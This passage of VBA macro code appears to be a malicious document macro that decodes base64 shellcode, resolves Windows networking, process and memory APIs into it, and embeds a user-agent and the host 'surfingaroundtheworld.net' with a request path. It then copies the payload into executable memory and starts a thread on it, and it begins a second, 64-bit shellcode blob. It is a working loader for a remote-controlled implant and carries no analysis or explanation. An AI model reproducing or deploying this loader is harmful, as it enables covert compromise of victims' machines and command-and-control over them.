zzzzh_b64 = zzzzh_b64 & "7Ay5AQAAAIlF6InIg8QcXl9dw2YuDx"
zzzzh_b64 = zzzzh_b64 & "+EAAAAAAAPH0QAAFWJ5VaD7BSLRQyL"
zzzzh_b64 = zzzzh_b64 & "TQiLVQyJVfiLVfiLUgyLdQiJNCSJVC"
zzzzh_b64 = zzzzh_b64 & "QEiUX0iU3w6FLq//+DxBReXcNmLg8f"
zzzzh_b64 = zzzzh_b64 & "hAAAAAAAZpBVieVQi0UQi00Mi1UIx0"
zzzzh_b64 = zzzzh_b64 & "X8AAAAAMdF/AAAAACLRfw7RRAPgyAA"
zzzzh_b64 = zzzzh_b64 & "AACLRQyLTfyKFAiLRQiLTfyIFAiLRf"
zzzzh_b64 = zzzzh_b64 & "yDwAGJRfzp1P///4PEBF3DDx9AAA=="
Dim zzzzh() As Byte
Dim hread As LongPtr
Dim hwrite As LongPtr
Dim x As Long
x = DynCreatePipe(hread, hwrite, 0, 0)
zzzzh = DecodeBase64(zzzzh_b64)
module = LazyLoad("winhttp")
proc = DynGetProcAddress(module, "WinHttpOpen")
InsertAddr proc, 0, zzzzh
module = LazyLoad("winhttp")
proc = DynGetProcAddress(module, "WinHttpConnect")
InsertAddr proc, 4, zzzzh
module = LazyLoad("winhttp")
proc = DynGetProcAddress(module, "WinHttpOpenRequest")
InsertAddr proc, 8, zzzzh
module = LazyLoad("winhttp")
proc = DynGetProcAddress(module, "WinHttpSendRequest")
InsertAddr proc, 12, zzzzh
module = LazyLoad("winhttp")
proc = DynGetProcAddress(module, "WinHttpSetOption")
InsertAddr proc, 16, zzzzh
module = LazyLoad("winhttp")
proc = DynGetProcAddress(module, "WinHttpReceiveResponse")
InsertAddr proc, 20, zzzzh
module = LazyLoad("winhttp")
proc = DynGetProcAddress(module, "WinHttpReadData")
InsertAddr proc, 24, zzzzh
module = LazyLoad("winhttp")
proc = DynGetProcAddress(module, "WinHttpCloseHandle")
InsertAddr proc, 28, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "GetProcessHeap")
InsertAddr proc, 32, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "HeapAlloc")
InsertAddr proc, 36, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "HeapReAlloc")
InsertAddr proc, 40, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "HeapFree")
InsertAddr proc, 44, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "CreateFileW")
InsertAddr proc, 48, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "WriteFile")
InsertAddr proc, 52, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "ReadFile")
InsertAddr proc, 56, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "CreateProcessW")
InsertAddr proc, 60, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "CreatePipe")
InsertAddr proc, 64, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "CreateEventW")
InsertAddr proc, 68, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "WaitForMultipleObjects")
InsertAddr proc, 72, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "SetHandleInformation")
InsertAddr proc, 76, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "CloseHandle")
InsertAddr proc, 80, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "SetEnvironmentVariableW")
InsertAddr proc, 84, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "ExpandEnvironmentStringsW")
InsertAddr proc, 88, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "Sleep")
InsertAddr proc, 92, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "GetLastError")
InsertAddr proc, 96, zzzzh
module = LazyLoad("kernel32")
proc = DynGetProcAddress(module, "ExitThread")
InsertAddr proc, 100, zzzzh
module = LazyLoad("ole32")
proc = DynGetProcAddress(module, "CoInitialize")
InsertAddr proc, 104, zzzzh
module = LazyLoad("ole32")
proc = DynGetProcAddress(module, "CoCreateInstance")
InsertAddr proc, 108, zzzzh
module = LazyLoad("user32")
proc = DynGetProcAddress(module, "SendInput")
InsertAddr proc, 112, zzzzh
module = LazyLoad("user32")
proc = DynGetProcAddress(module, "MessageBoxW")
InsertAddr proc, 116, zzzzh
InsertUnicodeString "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko", 120, zzzzh
InsertUnicodeString "GET", 246, zzzzh
InsertUnicodeString "POST", 254, zzzzh
InsertUnicodeString "surfingaroundtheworld.net", 264, zzzzh
InsertUnicodeString "/lasdwe/bdaa3811-bb6c-42c7-ae25-0329f3a59ce1", 316, zzzzh
InsertUnicodeString "", 406, zzzzh
InsertUnicodeString "", 408, zzzzh
InsertUnicodeString "", 410, zzzzh
InsertUnicodeString "", 412, zzzzh
InsertUnicodeString "", 414, zzzzh
InsertUnicodeString "", 416, zzzzh
InsertUnicodeString "", 418, zzzzh
InsertUnicodeString "", 420, zzzzh
alloc = DynVirtualAlloc(0, 11608, 12288, 64)
DynMemcpy alloc, zzzzh, hread, hwrite
DynCreateThread 0, 0, alloc + 504, alloc, 0, 0
End Sub


Sub Run64()
zzzzh_b64 = ""
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAAAAAAAAAAAAAAAAAAAAAASI"
zzzzh_b64 = zzzzh_b64 & "PsWEiJTCRQSMdEJEgAAAAASItEJFBI"
zzzzh_b64 = zzzzh_b64 & "BbgCAABIi0wkUEiJgSACAABIi0QkUM"
zzzzh_b64 = zzzzh_b64 & "eAtAIAABAnAABIi0wkUEiNFYwCAADo"
zzzzh_b64 = zzzzh_b64 & "VwIAAEiLTCRQSImBMAIAAEiLRCRQSM"
zzzzh_b64 = zzzzh_b64 & "eAKAIAAC4AAABIi0wkUEiNFV8EAADo"
zzzzh_b64 = zzzzh_b64 & "KgIAAEiLTCRQSImBQAIAAEiLRCRQSM"
zzzzh_b64 = zzzzh_b64 & "eAOAIAABgAAABIi0wkUEiNFWIFAADo"
zzzzh_b64 = zzzzh_b64 & "/QEAAEiLTCRQSImBUAIAAEiLRCRQSM"
zzzzh_b64 = zzzzh_b64 & "eASAIAACAAAABIi0wkUEiNFUUGAADo"
zzzzh_b64 = zzzzh_b64 & "0AEAAEiLTCRQSImBYAIAAEiLRCRQSM"
zzzzh_b64 = zzzzh_b64 & "eAWAIAAC4AAABIi0wkUEiNFRgIAADo"
zzzzh_b64 = zzzzh_b64 & "owEAAEiLTCRQSImBcAIAAEiLRCRQSM"
zzzzh_b64 = zzzzh_b64 & "eAaAIAABQAAABIi0wkUEiNFYsIAADo"
zzzzh_b64 = zzzzh_b64 & "dgEAAEiLTCRQSImBgAIAAEiLRCRQSM"
zzzzh_b64 = zzzzh_b64 & "eAeAIAACoAAABIi0wkUEiNFd4KAADo"
zzzzh_b64 = zzzzh_b64 & "SQEAAEUxwESJwUiLVCRQSImCkAIAAE"
zzzzh_b64 = zzzzh_b64 & "iLRCRQSMeAiAIAABwAAABIi0QkUP+Q"
zzzzh_b64 = zzzzh_b64 & "0AAAAIP4AA+NBQAAAOnYAAAAMdIxwI"
zzzzh_b64 = zzzzh_b64 & "nBTItEJFBNiwBMi0wkUEmBwfAAAABI"
zzzzh_b64 = zzzzh_b64 & "iUwkQEyJyUyLTCRATIlEJDhNicjHRC"
zzzzh_b64 = zzzzh_b64 & "QgAAAAAEyLVCQ4Qf/SMdKJ0UiJRCRI"
zzzzh_b64 = zzzzh_b64 & "SDtMJEgPhQUAAADpgAAAAEiLRCRISI"
zzzzh_b64 = zzzzh_b64 & "tMJFBIiYGoAgAASItEJFDHgLACAAAB"
zzzzh_b64 = zzzzh_b64 & "AAAASItEJFCDuLACAAAAD4RJAAAASI"
zzzzh_b64 = zzzzh_b64 & "tEJFDHgLACAAAAAAAASItMJFDoqwwA"
zzzzh_b64 = zzzzh_b64 & "AEiLTCRQSIuJuAAAAEiLVCRQRIuCtA"
zzzzh_b64 = zzzzh_b64 & "IAAEiJTCQwRInBSItUJDCJRCQs/9Lp"
zzzzh_b64 = zzzzh_b64 & "pf///+kAAAAAMcCJwUg7TCRID4QQAA"
zzzzh_b64 = zzzzh_b64 & "AASItEJFBIi0A4SItMJEj/0DHJSItE"
zzzzh_b64 = zzzzh_b64 & "JFD/kMgAAADMZg8fhAAAAAAASIPsEE"
zzzzh_b64 = zzzzh_b64 & "iJVCQISIkMJEiLRCQISI0NR/3//0gp"
zzzzh_b64 = zzzzh_b64 & "yEiLDCRIA4EgAgAASIPEEMMPH0AASI"
zzzzh_b64 = zzzzh_b64 & "PsWEyJRCRQSIlUJEhIiUwkQEiLRCRQ"
zzzzh_b64 = zzzzh_b64 & "SIlEJDhIx0QkMAAAAADHRCQsAAAAAE"
zzzzh_b64 = zzzzh_b64 & "iLTCRASI0V9icAAOiR////SItMJDhI"
zzzzh_b64 = zzzzh_b64 & "iQFIi0wkQEiNFU0oAADoeP///0iLTC"
zzzzh_b64 = zzzzh_b64 & "Q4SIlBCEiLRCQ4SMdAEAAAAABIi0Qk"
zzzzh_b64 = zzzzh_b64 & "OEjHQBoAAAAASItEJDhIx0AmAAAAAE"
zzzzh_b64 = zzzzh_b64 & "iLRCQ4SAUQAAAASItUJEhIi0wkQEmJ"
zzzzh_b64 = zzzzh_b64 & "wOhbKAAAg/gAD4UFAAAA6RMBAABIi0"
zzzzh_b64 = zzzzh_b64 & "QkOEgFGAAAAEiLVCRISItMJEBJicBB"
zzzzh_b64 = zzzzh_b64 & "uQIAAADoaiUAAIP4AA+FBQAAAOniAA"
zzzzh_b64 = zzzzh_b64 & "AASItEJDhIBRoAAABIi1QkSEiLTCRA"
zzzzh_b64 = zzzzh_b64 & "SYnA6P8nAACD+AAPhQUAAADptwAAAE"
zzzzh_b64 = zzzzh_b64 & "iLRCQ4SAUiAAAASItUJEhIi0wkQEmJ"
zzzzh_b64 = zzzzh_b64 & "wEG5BAAAAOgOJQAAg/gAD4UFAAAA6Y"
zzzzh_b64 = zzzzh_b64 & "YAAABIi0QkOEgFJgAAAEiLVCRISItM"
zzzzh_b64 = zzzzh_b64 & "JEBJicDooycAAIP4AA+FBQAAAOlbAA"
zzzzh_b64 = zzzzh_b64 & "AASItEJDhIi1AmSItMJEBMjUQkMOit"
zzzzh_b64 = zzzzh_b64 & "HQAAg/gAD4UFAAAA6TUAAABIi0QkOE"
zzzzh_b64 = zzzzh_b64 & "iLQCZIi0wkQEiJwuhJFAAASItEJDBI"
zzzzh_b64 = zzzzh_b64 & "i0wkOEiJQSZIx0QkMAAAAADHRCQsAQ"
zzzzh_b64 = zzzzh_b64 & "AAAIN8JCwAD4UiAAAASItEJDhIi0AI"
zzzzh_b64 = zzzzh_b64 & "SItMJDhIi1QkQEiJTCQgSInRSItUJC"
zzzzh_b64 = zzzzh_b64 & "D/0ItEJCxIg8RYww8fQABIg+xYTIlE"
zzzzh_b64 = zzzzh_b64 & "JFBIiVQkSEiJTCRASItEJFBIiUQkOM"
zzzzh_b64 = zzzzh_b64 & "dEJDQAAAAASMdEJCgAAAAASItMJEBI"
zzzzh_b64 = zzzzh_b64 & "jRX2JwAA6JH9//9Ii0wkOEiJAUiLTC"
zzzzh_b64 = zzzzh_b64 & "RASI0VDSgAAOh4/f//SItMJDhIiUEI"
zzzzh_b64 = zzzzh_b64 & "SItEJDhIx0AQAAAAAEiLRCQ4SAUQAA"
zzzzh_b64 = zzzzh_b64 & "AASItUJEhIi0wkQEmJwOh1JgAAg/gA"
zzzzh_b64 = zzzzh_b64 & "D4UFAAAA6VsAAABIi0QkOEiLUBBIi0"
zzzzh_b64 = zzzzh_b64 & "wkQEyNRCQo6H8cAACD+AAPhQUAAADp"
zzzzh_b64 = zzzzh_b64 & "NQAAAEiLRCQ4SItAEEiLTCRASInC6B"
zzzzh_b64 = zzzzh_b64 & "sTAABIi0QkKEiLTCQ4SIlBEEjHRCQo"
zzzzh_b64 = zzzzh_b64 & "AAAAAMdEJDQBAAAAg3wkNAAPhSIAAA"
zzzzh_b64 = zzzzh_b64 & "BIi0QkOEiLQAhIi0wkOEiLVCRASIlM"
zzzzh_b64 = zzzzh_b64 & "JCBIidFIi1QkIP/Qi0QkNEiDxFjDZg"
zzzzh_b64 = zzzzh_b64 & "8fRAAASIPsWEyJRCRQSIlUJEhIiUwk"
zzzzh_b64 = zzzzh_b64 & "QEiLRCRQSIlEJDjHRCQ0AAAAAEiLTC"
zzzzh_b64 = zzzzh_b64 & "RASI0VPycAAOhq/P//SItMJDhIiQFI"
zzzzh_b64 = zzzzh_b64 & "i0wkQEiNFWYnAADoUfz//0iLTCQ4SI"
zzzzh_b64 = zzzzh_b64 & "lBCEiLRCQ4SMdAEAAAAABIi0QkOEjH"
zzzzh_b64 = zzzzh_b64 & "QBgAAAAASItEJDhIBRAAAABIi1QkSE"
zzzzh_b64 = zzzzh_b64 & "iLTCRASYnA6EElAACD+AAPhQUAAADp"
zzzzh_b64 = zzzzh_b64 & "MwAAAEiLRCQ4SAUYAAAASItUJEhIi0"
zzzzh_b64 = zzzzh_b64 & "wkQEmJwOgWJQAAg/gAD4UFAAAA6QgA"
zzzzh_b64 = zzzzh_b64 & "AADHRCQ0AQAAAIN8JDQAD4UiAAAASI"
zzzzh_b64 = zzzzh_b64 & "tEJDhIi0AISItMJDhIi1QkQEiJTCQo"
zzzzh_b64 = zzzzh_b64 & "SInRSItUJCj/0ItEJDRIg8RYw2YuDx"
zzzzh_b64 = zzzzh_b64 & "+EAAAAAABIg+xYTIlEJFBIiVQkSEiJ"
zzzzh_b64 = zzzzh_b64 & "TCRASItEJFBIiUQkOEjHRCQwAAAAAM"
zzzzh_b64 = zzzzh_b64 & "dEJCwAAAAASItMJEBIjRW2JgAA6FH7"
zzzzh_b64 = zzzzh_b64 & "//9Ii0wkOEiJAUiLTCRASI0VzScAAO"
zzzzh_b64 = zzzzh_b64 & "g4+///SItMJDhIiUEISItEJDhIx0AQ"
zzzzh_b64 = zzzzh_b64 & "AAAAAEiLRCQ4SMdAGAAAAABIi0QkOE"
zzzzh_b64 = zzzzh_b64 & "jHQCIAAAAASItEJDhIBRAAAABIi1Qk"
zzzzh_b64 = zzzzh_b64 & "SEiLTCRASYnA6BskAACD+AAPhQUAAA"
zzzzh_b64 = zzzzh_b64 & "DpEwEAAEiLRCQ4SItQEEiLTCRATI1E"
zzzzh_b64 = zzzzh_b64 & "JDDoJRoAAIP4AA+FBQAAAOntAAAASI"
zzzzh_b64 = zzzzh_b64 & "tEJDhIi0AQSItMJEBIicLowRAAAEiL"
zzzzh_b64 = zzzzh_b64 & "RCQwSItMJDhIiUEQSMdEJDAAAAAASI"
zzzzh_b64 = zzzzh_b64 & "tEJDhIBRgAAABIi1QkSEiLTCRASYnA"
zzzzh_b64 = zzzzh_b64 & "6J0jAACD+AAPhQUAAADplQAAAEiLRC"
zzzzh_b64 = zzzzh_b64 & "Q4SAUgAAAASItUJEhIi0wkQEmJwEG5"
zzzzh_b64 = zzzzh_b64 & "AgAAAOisIAAAg/gAD4UFAAAA6WQAAA"
zzzzh_b64 = zzzzh_b64 & "BIi0QkOEgFIgAAAEiLVCRISItMJEBJ"
zzzzh_b64 = zzzzh_b64 & "icDoQSMAAIP4AA+FBQAAAOk5AAAASI"
zzzzh_b64 = zzzzh_b64 & "tEJDhIBSoAAABIi1QkSEiLTCRASYnA"
zzzzh_b64 = zzzzh_b64 & "QbkEAAAA6FAgAACD+AAPhQUAAADpCA"
zzzzh_b64 = zzzzh_b64 & "AAAMdEJCwBAAAAg3wkLAAPhSIAAABI"
zzzzh_b64 = zzzzh_b64 & "i0QkOEiLQAhIi0wkOEiLVCRASIlMJC"
zzzzh_b64 = zzzzh_b64 & "BIidFIi1QkIP/Qi0QkLEiDxFjDDx9A"
zzzzh_b64 = zzzzh_b64 & "AEiD7FhMiUQkSEiJVCRASIlMJDhIi0"
zzzzh_b64 = zzzzh_b64 & "QkSEiJRCQwSItMJDhIjRVXJgAA6GL5"
zzzzh_b64 = zzzzh_b64 & "//9Ii0wkMEiJAUiLTCQ4SI0VjiYAAO"
zzzzh_b64 = zzzzh_b64 & "hJ+f//SItMJDBIiUEISItEJDBIBRAA"
zzzzh_b64 = zzzzh_b64 & "AABIi1QkQEiLTCQ4SYnAQbkEAAAA6I"
zzzzh_b64 = zzzzh_b64 & "0fAACD+AAPhQ0AAADHRCRUAAAAAOkI"
zzzzh_b64 = zzzzh_b64 & "AAAAx0QkVAEAAACLRCRUSIPEWMNmDx"
zzzzh_b64 = zzzzh_b64 & "9EAABIg+xYTIlEJFBIiVQkSEiJTCRA"
zzzzh_b64 = zzzzh_b64 & "SItEJFBIiUQkOMdEJDQAAAAASMdEJC"
zzzzh_b64 = zzzzh_b64 & "gAAAAASItEJDhIx0AQAAAAAEiLRCQ4"
zzzzh_b64 = zzzzh_b64 & "SMdAGAAAAABIi0QkOEjHQCAAAAAASI"
zzzzh_b64 = zzzzh_b64 & "tMJEBIjRXvJQAA6Ir4//9Ii0wkOEiJ"
zzzzh_b64 = zzzzh_b64 & "AUiLTCRASI0VVigAAOhx+P//SItMJD"
zzzzh_b64 = zzzzh_b64 & "hIiUEISItEJDhIBRAAAABIi1QkSEiL"
zzzzh_b64 = zzzzh_b64 & "TCRASYnA6HshAACD+AAPhQUAAADpiA"
zzzzh_b64 = zzzzh_b64 & "EAAEiLRCQ4SItQEEiLTCRATI1EJCjo"
zzzzh_b64 = zzzzh_b64 & "hRcAAIP4AA+FBQAAAOliAQAASItEJD"
zzzzh_b64 = zzzzh_b64 & "hIi0AQSItMJEBIicLoIQ4AAEiLRCQo"
zzzzh_b64 = zzzzh_b64 & "SItMJDhIiUEQSMdEJCgAAAAASItEJD"
zzzzh_b64 = zzzzh_b64 & "hIBRgAAABIi1QkSEiLTCRASYnA6P0g"
zzzzh_b64 = zzzzh_b64 & "AACD+AAPhQUAAADpCgEAAEiLRCQ4SI"
zzzzh_b64 = zzzzh_b64 & "tQGEiLTCRATI1EJCjoBxcAAIP4AA+F"
zzzzh_b64 = zzzzh_b64 & "BQAAAOnkAAAASItEJDhIi0AYSItMJE"
zzzzh_b64 = zzzzh_b64 & "BIicLoow0AAEiLRCQoSItMJDhIiUEY"
zzzzh_b64 = zzzzh_b64 & "SMdEJCgAAAAASItEJDhIBSAAAABIi1"
zzzzh_b64 = zzzzh_b64 & "QkSEiLTCRASYnA6H8gAACD+AAPhQUA"
zzzzh_b64 = zzzzh_b64 & "AADpjAAAAEiLRCQ4SItQIEiLTCRATI"
zzzzh_b64 = zzzzh_b64 & "1EJCjoiRYAAIP4AA+FBQAAAOlmAAAA"
zzzzh_b64 = zzzzh_b64 & "SItEJDhIi0AgSItMJEBIicLoJQ0AAE"
zzzzh_b64 = zzzzh_b64 & "iLRCQoSItMJDhIiUEgSMdEJCgAAAAA"
zzzzh_b64 = zzzzh_b64 & "SItEJDhIBSgAAABIi1QkSEiLTCRASY"
zzzzh_b64 = zzzzh_b64 & "nAQbkCAAAA6DsdAACD+AAPhQUAAADp"
zzzzh_b64 = zzzzh_b64 & "CAAAAMdEJDQBAAAAg3wkNAAPhSIAAA"
zzzzh_b64 = zzzzh_b64 & "BIi0QkOEiLQAhIi0wkOEiLVCRASIlM"
zzzzh_b64 = zzzzh_b64 & "JCBIidFIi1QkIP/Qi0QkNEiDxFjDZi"
zzzzh_b64 = zzzzh_b64 & "4PH4QAAAAAAA8fRAAASIPsaEyJRCRg"
zzzzh_b64 = zzzzh_b64 & "SIlUJFhIiUwkUEiLRCRgSIlEJEjHRC"
zzzzh_b64 = zzzzh_b64 & "REAAAAAMdEJEAAAAAASMdEJDgAAAAA"
zzzzh_b64 = zzzzh_b64 & "SItEJEhIx0AUAAAAAEiLTCRQSI0VYS"
zzzzh_b64 = zzzzh_b64 & "YAAOgc9v//SItMJEhIiQFIi0wkUEiN"
zzzzh_b64 = zzzzh_b64 & "FZgmAADoA/b//0iLTCRISIlBCEiLRC"
zzzzh_b64 = zzzzh_b64 & "RISAUQAAAASItUJFhIi0wkUEmJwEG5"
zzzzh_b64 = zzzzh_b64 & "BAAAAOhHHAAAg/gAD4UFAAAA6aQBAA"
zzzzh_b64 = zzzzh_b64 & "BIi0QkSItIEInISGnQKAAAAEiLTCRQ"
zzzzh_b64 = zzzzh_b64 & "6F4KAABFMcBEicFIi1QkSEiJQhRIi0"
zzzzh_b64 = zzzzh_b64 & "QkSEg7SBQPhQUAAADpZgEAAEiLRCRI"
zzzzh_b64 = zzzzh_b64 & "i0gQichIadAKAAAASItMJFDoIAoAAE"
zzzzh_b64 = zzzzh_b64 & "UxwESJwUiJRCQ4SDtMJDgPhQUAAADp"
zzzzh_b64 = zzzzh_b64 & "MAEAAEiLRCRIi0gQichIacAKAAAASI"
zzzzh_b64 = zzzzh_b64 & "tUJDhMi0QkWEiLTCRQSIlUJDBMicJM"
zzzzh_b64 = zzzzh_b64 & "i0QkMEGJweiQGwAAg/gAD4UFAAAA6e"
zzzzh_b64 = zzzzh_b64 & "0AAADHRCRAAAAAAItEJEBIi0wkSDtB"
zzzzh_b64 = zzzzh_b64 & "EA+DywAAAEiLRCQ4i0wkQInKSI0Uko"
zzzzh_b64 = zzzzh_b64 & "sMUEiLRCRISItAFIkM0EiLRCQ4i0wk"
zzzzh_b64 = zzzzh_b64 & "QInKSI0UkosMUIPpAQ+FeAAAAOkAAA"
zzzzh_b64 = zzzzh_b64 & "AASItEJDiLTCRAicpIadIKAAAASAHQ"
zzzzh_b64 = zzzzh_b64 & "ZkSLQARIi0QkSEiLQBSLTCRAicpIad"
zzzzh_b64 = zzzzh_b64 & "IoAAAASAHQZkSJQAhIi0QkOItMJECJ"
zzzzh_b64 = zzzzh_b64 & "ykhp0goAAABIAdCLSAZIi0QkSEiLQB"
zzzzh_b64 = zzzzh_b64 & "REi0wkQESJykhp0igAAABIAdCJSAzp"
zzzzh_b64 = zzzzh_b64 & "BQAAAOkdAAAA6QAAAACLRCRAg8ABiU"
zzzzh_b64 = zzzzh_b64 & "QkQOkj////x0QkRAEAAAAxwInBSDtM"
zzzzh_b64 = zzzzh_b64 & "JDgPhBIAAABIi0QkOEiLTCRQSInC6C"
zzzzh_b64 = zzzzh_b64 & "QKAACDfCREAA+FIgAAAEiLRCRISItA"
zzzzh_b64 = zzzzh_b64 & "CEiLTCRISItUJFBIiUwkKEiJ0UiLVC"
zzzzh_b64 = zzzzh_b64 & "Qo/9CLRCRESIPEaMNmLg8fhAAAAAAA"
zzzzh_b64 = zzzzh_b64 & "Dx9AAEiD7FhIiUwkUEjHRCRIAAAAAE"
zzzzh_b64 = zzzzh_b64 & "jHRCRAAAAAAGbHRCQ+AADGRCQ9AEjH"
zzzzh_b64 = zzzzh_b64 & "RCQwAAAAAMdEJCgAAAAAxkQkPQAPtk"
zzzzh_b64 = zzzzh_b64 & "QkPYP4AQ+NOgAAAIpUJD1Ii0wkUEyN"
zzzzh_b64 = zzzzh_b64 & "RCRITI1MJEDo/RMAAIP4AA+EBQAAAO"
zzzzh_b64 = zzzzh_b64 & "kUAAAA6QAAAACKRCQ9BAGIRCQ96bj/"
zzzzh_b64 = zzzzh_b64 & "//8PtkQkPbkBAAAAOcEPhQUAAADpmQ"
zzzzh_b64 = zzzzh_b64 & "AAAEiLVCRASItMJFBMjUQkMEyNTCQu"
zzzzh_b64 = zzzzh_b64 & "6MsXAACD+AAPhQUAAADpcgAAAGbHRC"
zzzzh_b64 = zzzzh_b64 & "Q+AAAPt0QkPg+3TCQuOcgPjVEAAABI"
zzzzh_b64 = zzzzh_b64 & "i0QkMA+3TCQ+icpIiwTQSIsASItUJD"
zzzzh_b64 = zzzzh_b64 & "APt0wkPkGJyEqLFMJIi0wkUP/Qg/gA"
zzzzh_b64 = zzzzh_b64 & "D4UFAAAA6SAAAADpAAAAAGaLRCQ+Zo"
zzzzh_b64 = zzzzh_b64 & "PAAWaJRCQ+6Z3////HRCQoAQAAADHA"
zzzzh_b64 = zzzzh_b64 & "icFIO0wkMA+EiQAAAGbHRCQ+AAAPt0"
zzzzh_b64 = zzzzh_b64 & "QkPg+3TCQuOcgPjV4AAABIi0QkMA+3"
zzzzh_b64 = zzzzh_b64 & "TCQ+icpIiwTQSItACEiLVCQwD7dMJD"
zzzzh_b64 = zzzzh_b64 & "5BichKixTCSItMJFD/0EiLRCQwRA+3"
zzzzh_b64 = zzzzh_b64 & "TCQ+RInJSIsEyEiLTCRQSInC6DgIAA"
zzzzh_b64 = zzzzh_b64 & "Bmi0QkPmaDwAFmiUQkPumQ////SItE"
zzzzh_b64 = zzzzh_b64 & "JDBIi0wkUEiJwugTCAAAMcCJwUg7TC"
zzzzh_b64 = zzzzh_b64 & "RAD4QQAAAASItEJFBIi0A4SItMJED/"
zzzzh_b64 = zzzzh_b64 & "0DHAicFIO0wkSA+EEAAAAEiLRCRQSI"
zzzzh_b64 = zzzzh_b64 & "tAOEiLTCRI/9CLRCQoSIPEWMNmLg8f"
zzzzh_b64 = zzzzh_b64 & "hAAAAAAAZpBIgewYAQAATImEJBABAA"
zzzzh_b64 = zzzzh_b64 & "BIiZQkCAEAAEiJjCQAAQAAx4Qk/AAA"
zzzzh_b64 = zzzzh_b64 & "AAAAAABIx4Qk8AAAAAAAAABIx4Qk6A"
zzzzh_b64 = zzzzh_b64 & "AAAAAAAABIx4Qk4AAAAAAAAABIx4Qk"
zzzzh_b64 = zzzzh_b64 & "0AAAAAAAAADHhCTIAAAAAAAAAEjHhC"
zzzzh_b64 = zzzzh_b64 & "SgAAAAAAAAAEiLjCQAAQAAuhgAAADo"
zzzzh_b64 = zzzzh_b64 & "zQUAAEUxyUSJyUiJhCTwAAAASDuMJP"
zzzzh_b64 = zzzzh_b64 & "AAAAAPhQUAAADp/AMAAEiLjCQAAQAA"
zzzzh_b64 = zzzzh_b64 & "umgAAADomgUAAEUxwESJwUiJhCToAA"
zzzzh_b64 = zzzzh_b64 & "AASDuMJOgAAAAPhQUAAADpyQMAAEiL"
zzzzh_b64 = zzzzh_b64 & "jCQAAQAAuhgAAADoZwUAAEUxwESJwU"
zzzzh_b64 = zzzzh_b64 & "iJhCTgAAAASDuMJOAAAAAPhQUAAADp"
zzzzh_b64 = zzzzh_b64 & "lgMAAEiLjCQAAQAAugAgAADoNAUAAE"
